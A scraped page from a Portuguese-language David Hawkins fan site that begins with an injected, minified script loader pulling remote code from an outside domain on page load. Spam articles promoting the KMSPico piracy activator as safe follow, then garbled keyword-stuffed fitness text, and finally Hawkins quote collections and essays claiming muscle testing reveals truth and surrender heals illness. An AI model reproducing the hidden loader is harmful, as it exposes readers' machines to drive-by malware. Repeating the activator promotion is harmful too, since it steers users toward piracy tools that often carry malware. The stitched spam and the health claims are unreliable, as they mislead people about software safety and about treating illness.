;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); David Hawkins Brasil, autor em David Hawkins Brasil

Autor: David Hawkins Brasil

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KMSPico Ativador ➤ Ative Windows e Office Grátis Agora

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Quando se trata de ativar sistema operacional ou Microsoft Office, muitos usuários buscam uma solução eficaz e segura que evite a necessidade de gastar com chaves de licença caras. Neste contexto, o KMSPico ativador se destaca como uma ferramenta de ativação altamente confiável e gratuita, capaz de ativar diversas versões do Microsoft Windows e Microsoft Office, incluindo ativação do Windows 10, ativação do Windows 8, ativação do Windows 7, bem como ativação do Office 365.

Por que Escolher o KMSPico Ativador?

O KMSPico ativador oferece uma série de vantagens que o tornam a escolha preferida para usuários em todo o mundo. Primeiramente, sua capacidade de proporcionar uma ativação permanente do software sem custos é inigualável. Isso significa que, uma vez ativado, seu sistema operacional ou pacote Office funcionará sem problemas, sem lembretes irritantes para adquirir uma chave de licença.

Além disso, o KMSPico é reconhecido por sua segurança e confiabilidade. A versão verificada como livre de vírus pode ser baixada gratuitamente no site oficial crack para Office, garantindo que você não comprometa a segurança do seu computador enquanto ativa seu software.

Principais Características do KMSPico

Ativação Simples e Rápida

O KMSPico ativador é famoso por sua facilidade de uso. Com apenas alguns cliques, você pode ativar sistema operacional e pacotes Office, sem necessidade de conhecimento técnico avançado.

Suporte a Múltiplas Versões

Seja você um usuário do Windows 7, Windows 8 ou Windows 10, o KMSPico oferece suporte abrangente. Ele também é compatível com várias versões do Microsoft Office, incluindo o Office 365, tornando-o uma ferramenta de ativação versátil.

Segurança Garantida

A segurança é uma prioridade para muitos usuários, e o KMSPico atende a essa necessidade. A versão disponível para download no site oficial é verificada como livre de vírus, assegurando que seu dispositivo permaneça protegido.

O KMSPico ativador se estabeleceu como uma solução confiável e eficiente para quem busca ativar sistema operacional e Microsoft Office sem enfrentar o ônus financeiro das chaves de licença. Sua facilidade de uso, juntamente com a promessa de ativação permanente e suporte a múltiplas versões do software, fazem dele uma escolha excelente. Certifique-se de baixar a versão verificada como livre de vírus diretamente do site oficial, garantindo assim a segurança e a eficácia da ativação do seu software.

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Dando continuidade à discussão sobre o KMSPico ativador, vale a pena explorar mais profundamente o impacto que essa ferramenta tem na experiência do usuário e nas expectativas futuras para atualizações. O KMSPico não é apenas uma solução temporária; ele oferece uma ativação permanente que é essencial para usuários que desejam evitar a interrupção de seus trabalhos ou estudos devido a notificações constantes para ativação do software.

Atualizações e Compatibilidade

Uma preocupação comum entre os usuários de software é a compatibilidade com futuras atualizações do sistema operacional ou do pacote Office. O KMSPico tem se mostrado resiliente a essas mudanças, com desenvolvedores dedicados a lançar atualizações que garantem a compatibilidade contínua. Usuários do Windows 10, por exemplo, podem ficar tranquilos sabendo que o KMSPico já é compatível com as últimas atualizações, como a Versão 2004 (Atualização de Maio de 2020) e espera-se que continue a ser para futuras iterações do sistema.

Segurança e Privacidade

A segurança é uma questão primordial, e o KMSPico se destaca por oferecer uma solução que não compromete a integridade do sistema. É crucial, no entanto, garantir que o download seja feito de fontes confiáveis para evitar softwares mal-intencionados disfarçados sob o nome do KMSPico. A promessa de uma ferramenta livre de vírus, quando baixada da fonte correta, reforça a confiança dos usuários na segurança do KMSPico como uma opção viável de ativação.

Experiência do Usuário e Feedback

A facilidade de uso do KMSPico ativador é frequentemente elogiada pelos usuários. A simplicidade do processo de ativação, que pode ser concluído em poucos passos sem a necessidade de conhecimento técnico avançado, é um dos seus maiores atrativos. Além disso, o feedback positivo sobre a eficácia da ativação permanente reforça a reputação do KMSPico como uma ferramenta confiável para usuários em todo o mundo.

Expectativas para Atualizações Futuras

Olhando para o futuro, a comunidade de usuários do KMSPico aguarda ansiosamente por atualizações que continuem a oferecer suporte às versões mais recentes do Windows e do Office. A capacidade de adaptar-se rapidamente às mudanças no software é uma característica valorizada do KMSPico, e espera-se que as futuras versões da ferramenta mantenham esse padrão de excelência.

Ao considerar o cenário atual e as perspectivas futuras, fica claro que o KMSPico ativador se estabeleceu como uma solução de ativação de confiança. Com a promessa de atualizações contínuas para garantir compatibilidade com as versões mais recentes do software e um compromisso com a segurança e a facilidade de uso, o KMSPico permanece como uma escolha valiosa para usuários que buscam uma maneira eficaz e segura de ativar seus sistemas operacionais e pacotes Office.

Ao avançarmos, é importante lembrar que a tecnologia está em constante evolução, assim como as necessidades dos usuários. O KMSPico, com seu compromisso com a inovação e a satisfação do usuário, parece estar bem posicionado para continuar atendendo a essas necessidades, mantendo-se como um pilar para aqueles que buscam uma solução de ativação confiável e sem complicações.

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KMSPico Ativador: A Chave para a Liberdade de Software

Navegar pelo mundo do software pode ser uma jornada desafiadora, especialmente quando se depara com o obstáculo das chaves de licença e da ativação do software. Felizmente, ferramentas como o KMSPico ativador surgiram como faróis de esperança, oferecendo uma solução confiável e segura para ativar sistema operacional e Microsoft Office sem o peso financeiro.

Por Que o KMSPico Se Destaca?

  • Ativação Simples e Rápida: Com o KMSPico, a ativação do Windows e do Office é um processo sem complicações, acessível até para os menos experientes em tecnologia.
  • Suporte Abrangente: Seja você um usuário do Windows 7, 8 ou 10, ou alguém que precisa da ativação do Office 365, o KMSPico está pronto para servir.
  • Segurança e Confiança: Priorizando a proteção do seu sistema, o KMSPico garante uma ativação segura do software, livre de preocupações com malware.

Desvendando o KMSPico: Perguntas Frequentes

1. O KMSPico é seguro para usar?
Sim, desde que baixado de uma fonte confiável, o KMSPico é seguro, não contendo vírus ou malware.

2. Posso ativar todas as versões do Windows e Office com o KMSPico?
O KMSPico suporta a maioria das versões do Microsoft Windows e Microsoft Office, incluindo ativação do Windows 10, Windows 8, Windows 7, e ativação do Office 365.

3. A ativação é permanente?
Sim, o KMSPico oferece uma ativação permanente, eliminando a necessidade de reativação frequente.

4. Preciso de uma conexão com a internet para usar o KMSPico?
Uma conexão com a internet é necessária para baixar o KMSPico, mas a ativação em si pode ser realizada offline.

5. O KMSPico é legal?
A legalidade do KMSPico pode variar dependendo das leis locais. É uma ferramenta de ativação que fornece acesso ao software sem uma chave de licença oficial.

Explorando a Experiência do Usuário

Usuários de todo o mundo elogiam o KMSPico por sua eficácia e simplicidade. A capacidade de ativar sistema operacional e Microsoft Office sem interrupções ou lembretes constantes para ativação transformou a maneira como muitos abordam o uso de software. A promessa de uma ativação permanente significa que projetos, trabalhos e estudos podem continuar sem obstáculos, reforçando a confiança na ferramenta.

Olhando para o Futuro

À medida que o mundo do software continua a evoluir, o KMSPico permanece na vanguarda, adaptando-se às novas versões do Windows e Office. A comunidade de usuários aguarda ansiosamente por atualizações que mantenham a ferramenta relevante e eficaz, garantindo que a liberdade de uso do software continue acessível a todos.

Diante do exposto, fica claro que o KMSPico ativador representa mais do que apenas uma maneira de ativar sistema operacional e Microsoft Office; ele simboliza a liberdade no mundo digital. A capacidade de acessar software essencial sem as barreiras financeiras das chaves de licença abre um mundo de possibilidades para usuários em todo o globo. É uma ferramenta que não apenas ativa, mas também empodera.

Lembre-se sempre de buscar o KMSPico em fontes seguras e confiáveis. Garanta a segurança e eficácia da sua ativação de software, optando pelo download seguro em nosso site ou clicando no botão de download abaixo. Desfrute da liberdade e da tranquilidade que o KMSPico oferece, dando adeus às preocupações com ativação e focando no que realmente importa: sua produtividade e criatividade.

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How to do it: Grip the dumbbell so the plate ends are perpendicular to your body. The fitness business that youve built is nothing short of a rare gem, so make sure everything you do delivers that message to your members. You should angle them roughly 45 degrees to the floor.

recommends this multi-planar movement for strengthening the glutes and shoulders while working mobility in the hips and back. To me I think if I went over to the high school and did that, I think I would have been doing that for him moreso than for the league, Jackson said.

I was just reading your post as my toddler woke up very early from his nap (meaning mommy wouldnt get time to work out!), so I gave it a try and had him do the exercises with me. To keep it enjoyable and challenging, its a good idea to add variety to your workouts.

Plus an Executive Summary of the key lessons inside my book. Doing both would essentially be like doing two track workouts back-to-back, which hinders our progress in the long run and can lead to running injuries. How to find fitness motivation for at-home workouts 1.

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This helps strengthen muscles, which consequently reduces the risks of falls and fractures. It also has aerobic capability when performed with intensity.

We are all unique in our own way and we should love ourselves more no matter our shape, size, skin color and so on. The kettlebell swing works predominantly the muscles of the posterior chain which includes, the hips, glutes, hamstrings, back, lats, abs, shoulders, and forearms.

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I dont always crave sweets, but there are periods of time when I will feel like having, lets say chocolate, three or four days in a row. You can make the circle 2-5 times, depending on your level of fitness.

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Ive lost 26 pounds so far and Ive become a distance runner. Her favorite food is chocolate, and she believes in eating dessert every single day. Many classes also work in agility, balance and flexibility training.

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Leucine play an important role in protein synthesis and muscle repair, whereas, Isoleucine helps in increasing muscle metabolism. Set a timer to start every four minutes and begin the exercises when it rings. During each workout, I did about eight different exercises, with 3 sets of 10 repetitions during each workout.

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Lets talk a bit about the programming behind this workout for BJJ before we jump to the exercises. The goal of the 20 min FTP Test is to record your highest average power for 20 min. Taller parents and caregivers want an adjustable handlebar so theyre not stooped over by the time they cross the finish line.

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Thanks, for sharing this useful and important information with us as these workouts can be performed very easily and have a very good effect on our health. Hold it for as long as you can and youre sure to feel your abs engage. Youll find a large selection of leggings that come in a variety of colors, styles, and fit.

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So instead, well opt to select very few exercises, do them frequently, and do them well. Theres nothing that cant be overcome with enough perseverance.

Or, a powdered fiber supplement can also do the trick. There are many ways to scale: partitioning, substituting exercises, and adding partners. However, you can upgrade to the optional third month of the program.

What are SuperSets. After the first two attempts youll be sailing through.

We tested it after a boxing workout, and the shampoo absorbed all the sweat without leaving any white residue. This includes coordinating care between different healthcare providers, such as primary care physicians and specialists, to ensure that all anavar results after 2 weeks necessary treatments are received.

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David Hawkins

O “gostinho” em ficar doente

Desapego

Parece impossível que alguém goste de ficar doente. E realmente, de forma consciente e madura, ninguém gosta. Mas, sabe quando uma criança se machuca e quer mostrar o machucado para todo mundo e receber atenção? Pois bem, essa criança ainda vive em nós e todos nós inconscientemente gostamos da atenção que recebemos por estarmos doentes.

Por estar doente, não precisamos cumprir certas obrigações, podemos ter mais momentos de preguiça, podemos ter um tempo para nós mesmos sem culpa e podemos receber carinho e cuidado de uma forma que não receberíamos se estivéssemos saudáveis. 

O problema surge quando esses pequenos prazeres em estar doente se tornam mais importantes para pessoa do que se curar e estar saudável para ter energia para realizar tudo o que escolheu para sua vida.

Reconhecer que estamos presos em gostar de ficar doente ao invés de verdadeiramente querermos nos curar é doloroso e difícil porque envolve olhar para a nossa sombra. No entanto, há técnicas como a cinesiologia, que nos ajudam a como discernir a verdade e nos libertar da falsidade, conforme explicado em um artigo anterior a esse.

“O teste muscular é responsável tanto pelos sistemas de crenças inconscientes quanto pelos conscientes. Os testes muitas vezes revelam que uma pessoa sente ou acredita inconscientemente o oposto do que pensa que acredita conscientemente. A pessoa, por exemplo, pode acreditar conscientemente que deseja curar-se, mas inconscientemente estar apegada às recompensas da doença. Um simples teste muscular revela a verdade sobre o assunto.” – Dr. David Hawkins, Deixar Ir

O gostinho em sofrer ao ficar doente

No artigo sobre dor aguda, citamos um trecho muito importante de crenças que as pessoas têm sobre as doenças e uma delas é de que ao sofrer nos aproximaremos de Deus, por estar “pagando os pecados”. Na verdade, a visão de Deus como justiceiro é uma visão do nível de consciência do medo que nos distancia de Deus. Deus é Amor e Bondade e não quer que a gente sofra. 

“Agora temos que abrir mão da crença de que penitência, culpa, pecado e sofrimento são de enorme benefícios espirituais. Verdadeiramente, todos os milhares de pessoas que tratei clinicamente ao longo de cinquenta anos que tinham dor crônica, culpa, pecado e sofrimento, eram as pessoas mais egoístas e egocêntricas que já conheci. Dor crônica e sofrimento não fazem as pessoas se iluminarem, se tornarem amorosas. Isso normalmente as faz ser mal-humoradas, raivosas, egoístas e egocêntricas, o que as leva para o próximo nível – auto-piedade”  – Dr. David Hawkins, “Cura e Recuperação”

Sentir pena de si mesmo por estar doente coloca a pessoa em um campo de consciência de falsidade. Ela acredita na ilusão de que é vítima da doença, assim assumindo a posição “confortável” de não precisar ser responsável pelo seu processo de cura. Quando, na verdade, não tem nada de “confortável” em permanecer em um estado de doença. 

Estudo de caso: o doente diante da depressão e da culpa

“Um dos maiores obstáculos a superar para sair da depressão e da apatia é o da culpa. A culpa é todo um assunto por si só. Observar isso é gratificante. Para começar, há muitas recompensas em culpar. Podemos ser inocentes; podemos desfrutar da autopiedade; podemos ser o mártir e a vítima; e podemos ser aquele que recebe a simpatia dos outros. Talvez a maior recompensa pela culpa seja que somos a vítima inocente e a outra parte é a má. 

Vemos esse jogo sendo constantemente exibido na mídia, como os intermináveis jogos de culpa dramatizados em uma infinidade de controvérsias, difamação, assassinatos de caráter e ações judiciais. Além da recompensa emocional, a culpa traz benefícios financeiros consideráveis; portanto, é um pacote tentador ser vítima inocente, pois muitas vezes isso é recompensado financeiramente. 

Houve um exemplo famoso disso na cidade de Nova York há muitos anos. Ocorreu um acidente de transporte público. As pessoas saíram pela porta da frente do veículo e depois se reuniram em uma pequena multidão, fornecendo seus nomes e endereços para benefícios financeiros futuros. Os espectadores rapidamente perceberam o jogo e subiram secretamente na traseira do veículo, para que pudessem sair da frente como feridos, “vítimas inocentes”. Eles nem haviam sofrido o acidente, mas iriam receber uma recompensa! 

Culpar os outros é a maior desculpa que existe no mundo. Permite-nos permanecer limitados e pequenos sem nos sentirmos culpados. Mas há um custo: a perda da nossa liberdade. Além disso, o papel de vítima traz consigo uma autopercepção de fraqueza, vulnerabilidade e desamparo, que são os principais componentes da apatia e da depressão.” – Dr. David Hawkins, Deixar Ir

O caminho da cura

O caminho da cura envolve sair do papel de vítima. Além de compreender que “todo não consigo é não quero” e renunciar aos pequenos prazeres que nos fazem não querer verdadeiramente a cura. É preciso coragem de olhar para as nossas sombras e deixar ir essas emoções que nos atordoam. 

Assim como trouxemos o exemplo da depressão para ilustrar o papel da culpa e do vitimismo em uma doença, vamos seguir com a mesma doença para ensinar sobre a cura.

“Uma coisa é analisar a base causal da depressão e outra é entrar totalmente nas profundezas da desesperança, abandonando a resistência ao sentimento. Ao permitir a plena sensação disso e ao abandonar cada sensação, cada pensamento e cada pequena recompensa que você está obtendo com isso, você está livre. Não é necessário investigar o “porquê” da depressão para se libertar do “o quê” ela manifesta.” – Dr. David Hawkins, Deixar Ir

A cura não vem de analisar e entender o problema, como se acredita racionalmente. Tampouco vem em não sentir mais sintomas dessa doença. A verdadeira cura é quando não importa mais se os sintomas vão desparecer ou não porque já não mais nos sentimos vítimas deles. 

“Como se pode saber se a humildade e a entrega estão completas? Estão completas quando se está indiferente para se a cura vai acontecer ou não. Esse é o resultado da entrega para Deus a grandes profundidades e a renúncia do desejo de controlar ou mudar como as coisas são.”  – Dr. David Hawkins, “Cura e Recuperação”

Assuma a responsabilidade de que só você pode escolher com seu livre arbítrio entregar seu sofrimento em estar doente para Deus e se libertar disso. Vamos juntos!

Gloria in Excelsis Deo!

Não perca nada!

Fizemos uma série que já conta com 3 artigos anteriores sobre o “gostinho” do ego em sofrer:

Aproveite essa sequência de artigos para se aprofundar nesse tema que quando observado, muda vidas.

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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18 frases transformadoras do livro Cura e Recuperação, de Dr. David Hawkins

No livro “Cura e Recuperação – Um Guia para Curar Corpo, Mente e Espírito”, o renomado psiquiatra e pesquisador da consciência, Dr. David Hawkins, M.D., Ph.D., apresenta uma visão inovadora sobre o processo de cura, que vai além da abordagem tradicional da medicina.

Com uma visão integrativa, Hawkins explora as conexões entre a mente, o corpo e a consciência, oferecendo ao leitor uma compreensão mais profunda sobre os mecanismos da cura e a importância das práticas espirituais na recuperação das mais diversas doenças e dificuldades humanas.

Neste artigo compartilharemos algumas das frases mais marcantes de “Cura e Recuperação”, que certamente irão inspirar e guiar você em busca de uma vida mais saudável e feliz.

As melhores frases do livro Cura e Recuperação, de Dr. David Hawkins

1. “Por que não fazer as coisas pelo nosso corpo pelo amor que temos por ele, em vez de pelo medo das consequências? Por que não mantê-lo saudável e feliz, pois o amamos e o valorizamos, em vez de porque temos medo de um ataque cardíaco ou de qualquer outra coisa?” – Dr. David Hawkins, Cura e Recuperação

2. “No mundo do Amor, não existe dualidade. No amor, o amor apenas é. O coração não diz nada; o coração apenas ‘sabe’.” – Dr. David Hawkins, Cura e Recuperação

3. “Todas as doenças são físicas, mentais e espirituais, e os níveis mais elevados de recuperação são a consequência de abordar simultaneamente os três níveis e considerá-los de igual importância.” – Dr. David Hawkins, Cura e Recuperação

4. “Uma doença é apenas nossa consciência chamando a atenção para algo que deve ser observado.” – Dr. David Hawkins, Cura e Recuperação

5. “Em vez de nos sentirmos envergonhados por sermos buscadores espirituais com doenças físicas, nos tornamos agradecidos e dizemos ‘Aha! Algo está vindo para ser curado.’” – Dr. David Hawkins, Cura e Recuperação

6. “Estresse é resistir ao que não queremos, ausência de estresse é quanto conseguimos o que queremos. O problema está dentro de nós.” – Dr. David Hawkins, Cura e Recuperação

7. “Algumas pessoas não suportam a intensidade do conflito entre um impulso biológico, uma necessidade psicológica, e a religião, então simplesmente evitam tudo isso através do ateísmo, o que apenas elimina a culpa.” – Dr. David Hawkins, Cura e Recuperação

8. “O que é o estado liberto? Significa ser tão livre que se algo acontecer em nossa vida, é ótimo, e se não acontece, está tudo bem também.” – Dr. David Hawkins, Cura e Recuperação

9. “Os problemas não são resolvidos no nível que parecem estar ocorrendo, mas no próximo nível de energia maior. Maior energia significa maior poder. Quando lidado com o nível maior, são resolvidos automaticamente, o que não é possível nos níveis inferiores.” – Dr. David Hawkins, Cura e Recuperação

10. “A dor vem por resistir a experiência. Para lidar com isso, basta se sentar e desapegar de toda resistência, em vez disso, escolhendo estar com a experiência.”- Dr. David Hawkins, Cura e Recuperação

11. “Neste momento [de uma grande crise], a oração pode ser ‘Por favor, esteja comigo; mostre-me como render e lidar com essa experiência’, e pedir pela consciência da Presença de Deus.” – Dr. David Hawkins, Cura e Recuperação

12. “As catástrofes agudas são os momentos que fazemos grandes saltos, quando as encaramos diretamente e fixamente e dizemos ‘Eu não vou me desviar da prática espiritual’. Nessa situação somos verdadeiramente confrontados com a prática espiritual real.” – Dr. David Hawkins, Cura e Recuperação

13. “As experiências catastróficas são as sementes, a pura essência da experiência espiritual máxima.” – Dr. David Hawkins, Cura e Recuperação

14. “Enquanto racionalizarmos e dissermos que a fonte do medo está ‘lá fora’, não poderemos transcendê-lo. Assim que começamos a reconhecer que somos o experienciador, que somos aquele que define o caminho em que experienciamos as coisas, nos tornamos o mestre da situação.” – Dr. David Hawkins, Cura e Recuperação

15. “O corpo não consegue experienciar a si mesmo. O corpo não consegue experienciar sua qualidade corporal e nem consegue experienciar suas próprias sensações. O corpo é experienciado na mente.” – Dr. David Hawkins, Cura e Recuperação

16. “Todos os campos de energia negativos são baseados em colocar a fonte da nossa felicidade em algo externo.” – Dr. David Hawkins, Cura e Recuperação

17. “Quando observamos nossa humanidade do ponto de vista do perdão e da compaixão, podemos amá-la e mantê-la em nossa grandeza. Olharemos nossa pequenez como olhamos uma criança e começaremos a curá-la através da compreensão e compaixão. Quando fazemos isso, estamos trazendo um campo de energia muito poderoso, a cura. Quando olhamos para nós mesmos pela compaixão e amorosidade, começamos a curar. Também sabemos que o que perdoamos em outras pessoas é perdoado em nós mesmos e desaparece da nossa percepção de mundo.” – Dr. David Hawkins, Cura e Recuperação

18. “A real cura da fisicalidade da doença é desapegar da resistência da experiência física interior sem qualquer rótulo mental. Na verdade, ao mesmo tempo, começamos a cancelar o rótulo mental e substituí-lo pela verdade. Nós o cancelamos afirmando ‘Eu não acredito mais nisso. Sou um ser infinito e não estou sujeito a isso. Eu só estou sujeito ao que mantenho em mente’.” – Dr. David Hawkins, Cura e Recuperação

Leia as frases do livro “Cura e Recuperação” direto da fonte

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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16 frases inspiradoras do livro Poder vs Força, de Dr. David Hawkins

No best-seller Poder vs Força – Os Determinantes Ocultos do Comportamento Humano, o Dr. David Hawkins, M.D., Ph.D., traz frutos de décadas de pesquisas que unem a ciência e a espiritualidade, o ser humano e o universo, o intelecto e a alma.

Essa foi a obra que introduziu o trabalho do Dr. David Hawkins ao mundo através de revelações que quebraram paradigmas sobre a consciência e o comportamento. Foi no livro Poder vs Força que Hawkins nos apresentou o Mapa da Consciência, hoje também conhecido como Escala das Emoções ou Escala Hawkins.

Entendendo o conceito geral de Poder vs Força

Antes de ter contato com as frases, pode ser interessante para o leitor se familiarizar com os termos “Poder” e “Força” dentro do contexto do livro do Dr. David Hawkins.

Hawkins caracteriza como “Poder” tudo aquilo que é “pró-vida”, que serve ao Bem Maior e que contribui para a evolução espiritual. Entre os campos energéticos do Poder estão a Coragem, a Disposição, a Aceitação, a Razão, o Amor e a Paz.

Já a “força” representa as energias “anti-vida”. Usar a força significa tentar forçar a barra, gerando uma contra-força que resulta em disputa e divisão. Entre os campos energéticos de força estão o Orgulho, a Raiva, o Desejo, o Medo, a Tristeza, a Apatia, a Culpa e a Vergonha.

Conhecendo estes conceitos, agora sim você está pronto(a) para desfrutar as melhores frases do livro Poder vs Força. Aproveite e não deixe de ler a obra completa!

As melhores frases do livro Poder vs Força, do Dr. David Hawkins

1. “Nós mudamos o mundo não através do que falamos ou fazemos, mas como consequência daquilo que nos tornamos.” – Dr. David Hawkins, Poder vs Força

2. “Neste universo interconectado, cada melhoria que fazemos no nosso mundo privado melhora o mundo como um todo.” – Dr. David Hawkins, Poder vs Força

3. “A única maneira de alguém aumentar seu poder no mundo é aumentando sua integridade, compreensão e capacidade de compaixão.” – Dr. David Hawkins, Poder vs Força

4. “O poder serve aos outros, enquanto a força serve a si mesma.” – Dr. David Hawkins, Poder vs Força

5. “O universo não desperdiça um único quark, tudo serve a um propósito e se encaixa num equilíbrio – não há eventos aleatórios.” – Dr. David Hawkins, Poder vs Força

6. “A força pode trazer satisfação, mas só o poder traz alegria. A vitória sobre os outros nos traz satisfação, mas a vitória sobre nós mesmos nos traz alegria.” – Dr. David Hawkins, Poder vs Força

7. “Os fatos são acumulados pelo esforço, mas a verdade se revela sem esforço.” – Dr. David Hawkins, Poder vs Força

8. “Todos nós temos disponível em todos os momentos um computador muito mais avançado do que a mais elaborada máquina de inteligência artificial – a própria mente humana.” – Dr. David Hawkins, Poder vs Força

9. “Os sistemas totalitários são notavelmente desprovidos de humor em todos os níveis. O riso, que traz aceitação e liberdade, é uma ameaça ao seu governo por meio da força e da intimidação. É difícil oprimir quem tem bom senso de humor. Cuidado com a falta de humor, seja em uma pessoa, instituição ou sistema de crenças; ela vem sempre acompanhada por um impulso de controlar e dominar, mesmo que seu objetivo proclamado seja criar prosperidade ou paz.” – Dr. David Hawkins, Poder vs Força

10. “A igualdade não exclui a diversidade. A aceitação inclui em vez de rejeitar.” – Dr. David Hawkins, Poder vs Força

11. “O homem pensa que vive em virtude das forças que pode controlar, mas, na verdade, ele é governado pelo poder de fontes não reveladas, poder sobre o qual não tem controle. Como o poder não requer esforço, ele passa despercebido e insuspeito. A força é experimentada através dos sentidos; o poder só pode ser reconhecido através da consciência interior.” – Dr. David Hawkins, Poder vs Força

12. “A busca pela excelência em qualquer área da vida humana inspira a todos nós para buscarmos todas as formas da grandeza ainda não realizadas pelo homem.” – Dr. David Hawkins, Poder vs Força

13. “Uma pessoa não se torna mais espiritualizada comendo certos alimentos ou evitando outros. A pessoa se torna um ser que expressa espiritualidade quando vive neste mundo, o aceita e não o julga.” – Dr. David Hawkins, Poder vs Força

14. “A razão é o espelho da vaidade da mente; em última análise, há poucas coisas mais chatas de se observar do que a auto-admiração. A racionalidade, o grande libertador que nos tornou livres das exigências de nossas naturezas inferiores, é também um severo guardião, impedindo nossa evolução para os planos acima e além do intelecto.” – Dr. David Hawkins, Poder vs Força

15. “As respostas verdadeiras são sempre caracterizadas pela simplicidade.” – Dr. David Hawkins, Poder vs Força

16. “A verdade do nosso próprio ser real pode ser descoberta no caminho da vida cotidiana. O comum e Deus não são coisas diferentes.” – Dr. David Hawkins, Poder vs Força

Leia as frases do livro “Poder vs Força” direto da fonte

É impossível ser a mesma pessoa depois de terminar a leitura de Poder vs Força. 

Além de nos presentear com uma visão reveladora do comportamento humano, nesta obra David R. Hawkins detalha como qualquer pessoa pode resolver o maior dilema da humanidade: distinguir instantaneamente a verdade da falsidade.

Uma leitura imperdível e praticamente obrigatória para todos aqueles que estão verdadeiramente comprometidos com o avanço espiritual e a expansão da consciência.

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David Hawkins

As 35 melhores frases do livro Deixar Ir – O Caminho do Desapego

Relaciomamentos

No best-seller Deixar Ir – O Caminho do Desapego, o psiquiatra e pesquisador da consciência Dr. David R. Hawkins, M.D., Ph.D., nos presenteia com um técnica simples e efetiva para lidarmos com os obstáculos da vida humana e nos aproximarmos da Iluminação.

Essa pode ser considerada a obra “de entrada” de Hawkins, ou seja, o livro mais recomendado para quem deseja ter o primeiro contato com seu trabalho.

Porém, isso não significa que “Deixar Ir” seja um livro raso. Muito pelo contrário. A profundidade da obra é grande e fica evidente através de diversas frases marcantes, que se tornam verdadeiros guias para os leitores.

A seguir, confira a seleção das melhores frases do livro Deixar Ir, de Dr. David Hawkins.

As melhores frases do livro Deixar Ir – O Caminho do Desapego, de Dr. David Hawkins

Frases do livro Deixar Ir sobre a mente

1. “Aquilo que mantemos em mente, tende a se manifestar.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

2. “As pessoas mais bem-sucedidas no mundo são aquelas que mantém em mente o Bem Maior que inclui a todos, incluindo a si mesmos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

3. “Tornou-se evidente que o cérebro não é a origem da mente, como a ciência e a medicina acreditavam, mas ao contrário. A mente controla o cérebro.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

4. “O inconsciente nos traz o que acha que merecemos. Se nossa visão de nós mesmos é pequena, limitada e mesquinha — devido à culpa acumulada —, então o inconsciente trará essas condições econômicas para nossa vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre sentimentos

5. “Deixar ir significa que estamos dispostos a abrir mão de um sentimento, permitindo-nos apenas experimentá-lo, e não mudá-lo.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

6. “Nossos sentimentos e pensamentos sempre afetam outras pessoas e afetam nossos relacionamentos, quer sejam esses pensamentos ou sentimentos verbalizados e expressos, ou não.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

7. “Não procure respostas; em vez disso, deixe ir os sentimentos por trás da pergunta.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

8. “Sentimentos vêm e vão, e eventualmente você se dá conta de que você não é seus sentimentos, mas que o real ‘você’ está meramente os testemunhando.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

9. “Pensamos que nossa felicidade depende de controlar os acontecimentos, e que os fatos são o que nos incomodam. Na verdade, nossos sentimentos e pensamentos sobre esses fatos que são a verdadeira causa de estamos chateados.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

10. “Medo da vida é, na verdade, medo das emoções. Não são os fatos que tememos, mas nossos sentimentos sobre eles.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

11. “Para superar a culpa, é necessário olhar para a satisfação secreta e o prazer que obtemos da autopiedade, ressentimento, raiva e auto-desculpas, e começar a renunciar a todas essas pequenas recompensas.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

12. “Nada precisa ser feito para adquirirmos sentimentos positivos, pois eles são parte integrante do nosso estado natural.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

13. “Ter deixado ir significa não ter nenhuma emoção forte a respeito de alguma coisa: ‘Está okay se isso acontecer, e okay se não acontecer’”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre mudança interior

14. “O mundo só consegue nos ver como nós mesmos nos vemos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

